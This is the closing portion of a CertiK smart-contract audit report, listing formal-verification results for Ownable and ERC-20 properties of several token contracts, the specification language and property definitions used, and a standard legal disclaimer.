Detailed Results for Function `renounceOwnership`

Property Name	Final Result	Remarks
ownable-renounceownership-correct	True	

Detailed Results for Function `owner`

Property Name	Final Result	Remarks
ownable-owner-succeed-normal	True	

Detailed Results for Function `transferOwnership`

Property Name	Final Result	Remarks
ownable-transferownership-correct	True	

Detailed Results For Contract Ownable (MasterChef.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of Standard Ownable Properties

Detailed Results for Function `renounceOwnership`

Property Name	Final Result	Remarks
ownable-renounceownership-correct	True	
ownable-renounce-ownership-is-permanent	True	

Detailed Results for Function `transferOwnership`

Property Name	Final Result	Remarks
ownable-transferownership-correct	True	

Detailed Results for Function `owner`

Property Name	Final Result	Remarks
ownable-owner-succeed-normal	True	

Detailed Results For Contract ERC20 (PowerToken.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of ERC-20 Compliance

Detailed Results for Function `approve`

Property Name	Final Result	Remarks
erc20-approve-revert-zero	True	
erc20-approve-correct-amount	True	
erc20-approve-never-return-false	True	
erc20-approve-succeed-normal	True	
erc20-approve-false	True	

Detailed Results for Function `transfer`

Property Name	Final Result	Remarks
erc20-transfer-false	True	
erc20-transfer-never-return-false	True	
erc20-transfer-revert-zero	True	
erc20-transfer-exceed-balance	True	
erc20-transfer-correct-amount	True	

Detailed Results for Function `transferFrom`

Property Name	Final Result	Remarks
erc20-transferfrom-fail-exceed-allowance	True	
erc20-transferfrom-fail-exceed-balance	True	
erc20-transferfrom-correct-amount	True	
erc20-transferfrom-correct-allowance	True	
erc20-transferfrom-never-return-false	True	
erc20-transferfrom-revert-zero-argument	True	
erc20-transferfrom-false	True	

Detailed Results for Function `allowance`

Property Name	Final Result	Remarks
erc20-allowance-change-state	True	
erc20-allowance-correct-value	True	
erc20-allowance-succeed-always	True	

Detailed Results for Function `balanceOf`

Property Name	Final Result	Remarks
erc20-balanceof-change-state	True	
erc20-balanceof-correct-value	True	
erc20-balanceof-succeed-always	True	

Detailed Results for Function `totalSupply`

Property Name	Final Result	Remarks
erc20-totalsupply-change-state	True	
erc20-totalsupply-correct-value	True	
erc20-totalsupply-succeed-always	True	

Detailed Results For Contract PowerToken (PowerToken.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of ERC-20 Compliance

Detailed Results for Function `approve`

Property Name	Final Result	Remarks
erc20-approve-false	True	
erc20-approve-never-return-false	True	
erc20-approve-succeed-normal	True	
erc20-approve-correct-amount	True	
erc20-approve-revert-zero	True	

Detailed Results for Function `totalSupply`

Property Name	Final Result	Remarks
erc20-totalsupply-succeed-always	True	
erc20-totalsupply-correct-value	True	
erc20-totalsupply-change-state	True	

Detailed Results for Function `allowance`

Property Name	Final Result	Remarks
erc20-allowance-succeed-always	True	
erc20-allowance-correct-value	True	
erc20-allowance-change-state	True	

Detailed Results for Function `transferFrom`

Property Name	Final Result	Remarks
erc20-transferfrom-false	True	
erc20-transferfrom-never-return-false	True	
erc20-transferfrom-fail-exceed-allowance	True	
erc20-transferfrom-revert-zero-argument	True	
erc20-transferfrom-fail-exceed-balance	True	
erc20-transferfrom-correct-amount	True	
erc20-transferfrom-correct-allowance	True	

Detailed Results for Function `balanceOf`

Property Name	Final Result	Remarks
erc20-balanceof-correct-value	True	
erc20-balanceof-succeed-always	True	
erc20-balanceof-change-state	True	

Detailed Results for Function `transfer`

Property Name	Final Result	Remarks
erc20-transfer-false	True	
erc20-transfer-revert-zero	True	
erc20-transfer-exceed-balance	True	
erc20-transfer-never-return-false	True	
erc20-transfer-correct-amount	True	

Detailed Results For Contract ERC20 (MineToken.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of ERC-20 Compliance

Detailed Results for Function `transferFrom`

Property Name	Final Result	Remarks
erc20-transferfrom-correct-amount	True	
erc20-transferfrom-correct-allowance	True	
erc20-transferfrom-false	True	
erc20-transferfrom-revert-zero-argument	True	
erc20-transferfrom-never-return-false	True	
erc20-transferfrom-fail-exceed-balance	True	
erc20-transferfrom-fail-exceed-allowance	True	

Detailed Results for Function `approve`

Property Name	Final Result	Remarks
erc20-approve-false	True	
erc20-approve-revert-zero	True	
erc20-approve-correct-amount	True	
erc20-approve-never-return-false	True	
erc20-approve-succeed-normal	True	

Detailed Results for Function `totalSupply`

Property Name	Final Result	Remarks
erc20-totalsupply-correct-value	True	
erc20-totalsupply-succeed-always	True	
erc20-totalsupply-change-state	True	

Detailed Results for Function `allowance`

Property Name	Final Result	Remarks
erc20-allowance-succeed-always	True	
erc20-allowance-correct-value	True	
erc20-allowance-change-state	True	

Detailed Results for Function `transfer`

Property Name	Final Result	Remarks
erc20-transfer-never-return-false	True	
erc20-transfer-false	True	
erc20-transfer-revert-zero	True	
erc20-transfer-exceed-balance	True	
erc20-transfer-correct-amount	True	

Detailed Results for Function `balanceOf`

Property Name	Final Result	Remarks
erc20-balanceof-correct-value	True	
erc20-balanceof-succeed-always	True	
erc20-balanceof-change-state	True	

Detailed Results For Contract MineToken (MineToken.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of ERC-20 Compliance

Detailed Results for Function `allowance`

Property Name	Final Result	Remarks
erc20-allowance-change-state	True	
erc20-allowance-succeed-always	True	
erc20-allowance-correct-value	True	

Detailed Results for Function `totalSupply`

Property Name	Final Result	Remarks
erc20-totalsupply-change-state	True	
erc20-totalsupply-correct-value	True	
erc20-totalsupply-succeed-always	True	

Detailed Results for Function `approve`

Property Name	Final Result	Remarks
erc20-approve-correct-amount	True	
erc20-approve-never-return-false	True	
erc20-approve-revert-zero	True	
erc20-approve-succeed-normal	True	
erc20-approve-false	True	

Detailed Results for Function `balanceOf`

Property Name	Final Result	Remarks
erc20-balanceof-change-state	True	
erc20-balanceof-correct-value	True	
erc20-balanceof-succeed-always	True	

Detailed Results for Function `transfer`

Property Name	Final Result	Remarks
erc20-transfer-correct-amount	True	
erc20-transfer-exceed-balance	True	
erc20-transfer-false	True	
erc20-transfer-never-return-false	True	
erc20-transfer-revert-zero	True	

Detailed Results for Function `transferFrom`

Property Name	Final Result	Remarks
erc20-transferfrom-fail-exceed-balance	True	
erc20-transferfrom-fail-exceed-allowance	True	
erc20-transferfrom-correct-amount	True	
erc20-transferfrom-correct-allowance	True	
erc20-transferfrom-false	True	
erc20-transferfrom-never-return-false	True	
erc20-transferfrom-revert-zero-argument	True	

In the remainder of this section, we list all contracts where formal verification of at least one property was not successful. There are several reasons why this could happen:

- False: The property is violated by the project.
- Inconclusive: The proof engine cannot prove or disprove the property due to timeouts or exceptions.
- Inapplicable: The property does not apply to the project.

Detailed Results For Contract powerShop (powerShop.sol) In Commit 13e5340d28867de301518f1f179def209eb2e1a7

Verification of Standard Ownable Properties

Detailed Results for Function `renounceOwnership`

Property Name	Final Result	Remarks
ownable-renounce-ownership-is-permanent	Inconclusive	
ownable-renounceownership-correct	True	

Detailed Results for Function `owner`

Property Name	Final Result	Remarks
ownable-owner-succeed-normal	True	

Detailed Results for Function `transferOwnership`

Property Name	Final Result	Remarks
ownable-transferownership-correct	True	

APPENDIX | LENDEP

Finding Categories

Categories	Description
Coding Style	Coding Style findings may not affect code behavior, but indicate areas where coding practices can be improved to make the code more understandable and maintainable.
Incorrect Calculation	Incorrect Calculation findings are about issues in numeric computation such as rounding errors, overflows, out-of-bounds and any computation that is not intended.
Inconsistency	Inconsistency findings refer to different parts of code that are not consistent or code that does not behave according to its specification.
Logical Issue	Logical Issue findings indicate general implementation issues related to the program logic.
Centralization	Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.
Design Issue	Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.

Details on Formal Verification

Some Solidity smart contracts from this project have been formally verified. Each such contract was compiled into a mathematical model that reflects all its possible behaviors with respect to the property. The model takes into account the semantics of the Solidity instructions found in the contract. All verification results that we report are based on that model.

The following assumptions and simplifications apply to our model:

- Certain low-level calls and inline assembly are not supported and may lead to a contract not being formally verified.
- We model the semantics of the Solidity source code and not the semantics of the EVM bytecode in a compiled contract.

Formalism for property specifications

All properties are expressed in a behavioral interface specification language that CertiK has developed for Solidity, which allows us to specify the behavior of each function in terms of the contract state and its parameters and return values, as well as contract properties that are maintained by every observable state transition. Observable state transitions occur when the contract's external interface is invoked and the invocation does not revert, and when the contract's Ether balance is changed by the EVM due to another contract's "self-destruct" invocation. The specification language has the usual Boolean connectives, as well as the operator `\old` (used to denote the state of a variable before a state transition), and several types of specification clause:

Apart from the Boolean connectives and the modal operators "always" (written `[]`) and "eventually" (written `<>`), we use the following predicates to reason about the validity of atomic propositions. They are evaluated on the contract's state whenever a discrete time step occurs:

- `requires [cond]` - the condition `cond`, which refers to a function's parameters, return values, and contract state variables, must hold when a function is invoked in order for it to exhibit a specified behavior.
- `ensures [cond]` - the condition `cond`, which refers to a function's parameters, return values, and both `\old` and current contract state variables, is guaranteed to hold when a function returns if the corresponding requires condition held when it was invoked.
- `invariant [cond]` - the condition `cond`, which refers only to contract state variables, is guaranteed to hold at every observable contract state.
- `constraint [cond]` - the condition `cond`, which refers to both `\old` and current contract state variables, is guaranteed to hold at every observable contract state except for the initial state after construction (because there is no previous state); constraints are used to restrict how contract state can change over time.

Description of the Analyzed ERC-20 Properties

Properties related to function `transfer`

erc20-transfer-correct-amount

All non-reverting invocations of `transfer(recipient, amount)` that return `true` must subtract the value in `amount` from the balance of `msg.sender` and add the same value to the balance of the `recipient` address.

Specification:

```
requires recipient != msg.sender;
requires balanceOf(recipient) + amount <= type(uint256).max;
ensures \result ==> balanceOf(recipient) == \old(balanceOf(recipient) + amount)
&& balanceOf(msg.sender) == \old(balanceOf(msg.sender) - amount);
  also
requires recipient == msg.sender;
ensures \result ==> balanceOf(msg.sender) == \old(balanceOf(msg.sender));
```

erc20-transfer-exceed-balance

Any transfer of an amount of tokens that exceeds the balance of `msg.sender` must fail.

Specification:

```
requires amount > balanceOf(msg.sender);
ensures !\result;
```

erc20-transfer-false

If the `transfer` function in contract `LendingProtocol` fails by returning `false`, it must undo all state changes it incurred before returning to the caller.

Specification:

```
ensures !\result ==> \assigned (\nothing);
```

erc20-transfer-false

If the `transfer` function in contract `ERC20` fails by returning `false`, it must undo all state changes it incurred before returning to the caller.

Specification:

```
ensures !\result ==> \assigned (\nothing);
```

erc20-transfer-false

If the `transfer` function in contract `PowerToken` fails by returning `false`, it must undo all state changes it incurred before returning to the caller.

Specification:

```
ensures !\result ==> \assigned (\nothing);
```

erc20-transfer-false

If the `transfer` function in contract `MineToken` fails by returning `false`, it must undo all state changes it incurred before returning to the caller.

Specification:

```
ensures !\result ==> \assigned (\nothing);
```

erc20-transfer-never-return-false

The transfer function must never return `false` to signal a failure.

Specification:

```
ensures \result;
```

erc20-transfer-revert-zero

Any call of the form `transfer(recipient, amount)` must fail if the recipient address is the zero address.

Specification:

```
ensures \old(recipient) == address(0) ==> !\result;
```

Properties related to function `transferFrom`

erc20-transferfrom-correct-allowance

All non-reverting invocations of `transferFrom(from, dest, amount)` that return `true` must decrease the allowance for address `msg.sender` over address `from` by the value in `amount`.

Specification:

```
ensures \result ==> allowance(\old(sender), msg.sender) == \old(allowance(sender,
msg.sender)) - \old(amount)
                 || (allowance(\old(sender), msg.sender) == \old(allowance(sender,
msg.sender)) && \old(allowance(sender, msg.sender)) == type(uint256).max);
```

erc20-transferfrom-correct-amount

All invocations of `transferFrom(from, dest, amount)` that succeed and that return `true` subtract the value in `amount` from the balance of address `from` and add the same value to the balance of address `dest`.

Specification:

```
requires recipient != sender;
requires balanceOf(recipient) + amount <= type(uint256).max;
ensures \result ==> balanceOf(\old(recipient)) == \old(balanceOf(recipient) +
amount)
                 && balanceOf(\old(sender)) == \old(balanceOf(sender) - amount);
  also
requires recipient == sender;
ensures \result ==> balanceOf(\old(recipient)) == \old(balanceOf(recipient));
```

erc20-transferfrom-fail-exceed-allowance

Any call of the form `transferFrom(from, dest, amount)` with a value for `amount` that exceeds the allowance of address `msg.sender` must fail.

Specification:

```
requires msg.sender != sender;
requires amount > allowance(sender, msg.sender);
ensures !\result;
```

erc20-transferfrom-fail-exceed-balance

Any call of the form `transferFrom(from, dest, amount)` with a value for `amount` that exceeds the balance of address `from` must fail.

Specification:

```
requires amount > balanceOf(sender);
ensures !\result;
```

erc20-transferfrom-false

If `transferFrom` returns `false` to signal a failure, it must undo all incurred state changes before returning to the caller.

Specification:

```
ensures !\result ==> \assigned (\nothing);
```

erc20-transferfrom-never-return-false

The `transferFrom` function must never return `false` .

Specification:

```
ensures \result;
```

erc20-transferfrom-revert-zero-argument

All calls of the form `transferFrom(from, dest, amount)` must fail for transfers from or to the zero address.

Specification:

```
ensures \old(sender) == address(0) ==> !\result;
also
ensures \old(recipient) == address(0) ==> !\result;
```

Properties related to function `totalSupply`

erc20-totalsupply-change-state

The `totalSupply` function in contract LendingProtocol must not change any state variables.

Specification:

```
assignable \nothing;
```

erc20-totalsupply-change-state

The `totalSupply` function in contract ERC20 must not change any state variables.

Specification:

```
assignable \nothing;
```

erc20-totalsupply-change-state

The `totalSupply` function in contract PowerToken must not change any state variables.

Specification:

```
assignable \nothing;
```

erc20-totalsupply-change-state

The `totalSupply` function in contract MineToken must not change any state variables.

Specification:

```
assignable \nothing;
```

erc20-totalsupply-correct-value

The `totalSupply` function must return the value that is held in the corresponding state variable of contract LendingProtocol.

Specification:

```
ensures \result == totalSupply();
```

erc20-totalsupply-correct-value

The `totalSupply` function must return the value that is held in the corresponding state variable of contract ERC20.

Specification:

```
ensures \result == totalSupply();
```

erc20-totalsupply-correct-value

The `totalSupply` function must return the value that is held in the corresponding state variable of contract PowerToken.

Specification:

```
ensures \result == totalSupply();
```

erc20-totalsupply-correct-value

The `totalSupply` function must return the value that is held in the corresponding state variable of contract MineToken.

Specification:

```
ensures \result == totalSupply();
```

erc20-totalsupply-succeed-always

The function `totalSupply` must always succeeds, assuming that its execution does not run out of gas.

Specification:

```
reverts_only_when false;
```

Properties related to function `approve`

erc20-approve-correct-amount

All non-reverting calls of the form `approve(spender, amount)` that return `true` must correctly update the allowance mapping according to the address `msg.sender` and the values of `spender` and `amount`.

Specification:

```
requires spender != address(0);
ensures \result ==> allowance(msg.sender, \old(spender)) == \old(amount);
```

erc20-approve-false

If function `approve` returns `false` to signal a failure, it must undo all state changes that it incurred before returning to the caller.

Specification:

```
ensures !\result ==> \assigned (\nothing);
```

erc20-approve-never-return-false

The function `approve` must never returns `false`.

Specification:

```
ensures \result;
```

erc20-approve-revert-zero

All calls of the form `approve(spender, amount)` must fail if the address in `spender` is the zero address.

Specification:

```
ensures \old(spender) == address(0) ==> !\result;
```

erc20-approve-succeed-normal

All calls of the form `approve(spender, amount)` must succeed, if

- the address in `spender` is not the zero address and
- the execution does not run out of gas.

Specification:

```
requires spender != address(0);
ensures \result;
reverts_only_when false;
```

Properties related to function `allowance`

erc20-allowance-change-state

Function `allowance` must not change any of the contract's state variables.

Specification:

```
assignable \nothing;
```

erc20-allowance-correct-value

Invocations of `allowance(owner, spender)` must return the allowance that address `spender` has over tokens held by address `owner`.

Specification:

```
ensures \result == allowance(\old(owner), \old(spender));
```

erc20-allowance-succeed-always

Function `allowance` must always succeed, assuming that its execution does not run out of gas.

Specification:

```
reverts_only_when false;
```

Properties related to function `balanceOf`

erc20-balanceof-change-state

Function `balanceOf` must not change any of the contract's state variables.

Specification:

```
assignable \nothing;
```

erc20-balanceof-correct-value

Invocations of `balanceOf(owner)` must return the value that is held in the contract's balance mapping for address `owner`.

Specification:

```
ensures \result == balanceOf(\old(account));
```

erc20-balanceof-succeed-always

Function `balanceOf` must always succeed if it does not run out of gas.

Specification:

```
reverts_only_when false;
```

Description of the Analyzed Ownable Properties

Properties related to function `renounceOwnership`

ownable-renounce-ownership-is-permanent

The contract must prohibit regaining of ownership once it has been renounced.

Specification:

```
constraint \old(owner()) == address(0) ==> owner() == address(0);
```

ownable-renounceownership-correct

Invocations of `renounceOwnership()` must set ownership to address(0).

Specification:

```
ensures this.owner() == address(0);
```

Properties related to function `owner`

ownable-owner-succeed-normal

Function `owner` must always succeed if it does not run out of gas.

Specification:

```
reverts_only_when false;
```

Properties related to function `transferOwnership`

ownable-transferownership-correct

Invocations of `transferOwnership(newOwner)` must transfer the ownership to the `newOwner`.

Specification:

```
ensures this.owner() == newOwner;
```

DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.

Elevating Your Web3 Journey

Founded in 2017 by leading academics in the field of Computer Science from both Yale and Columbia University, CertiK is the largest blockchain security company that serves to verify the security and correctness of smart contracts and blockchain-based protocols. Through the utilization of our world-class technical expertise, alongside our proprietary, innovative tech, we're able to support the success of our clients with best-in-class security, all whilst realizing our overarching vision; provable trust for all throughout all facets of blockchain.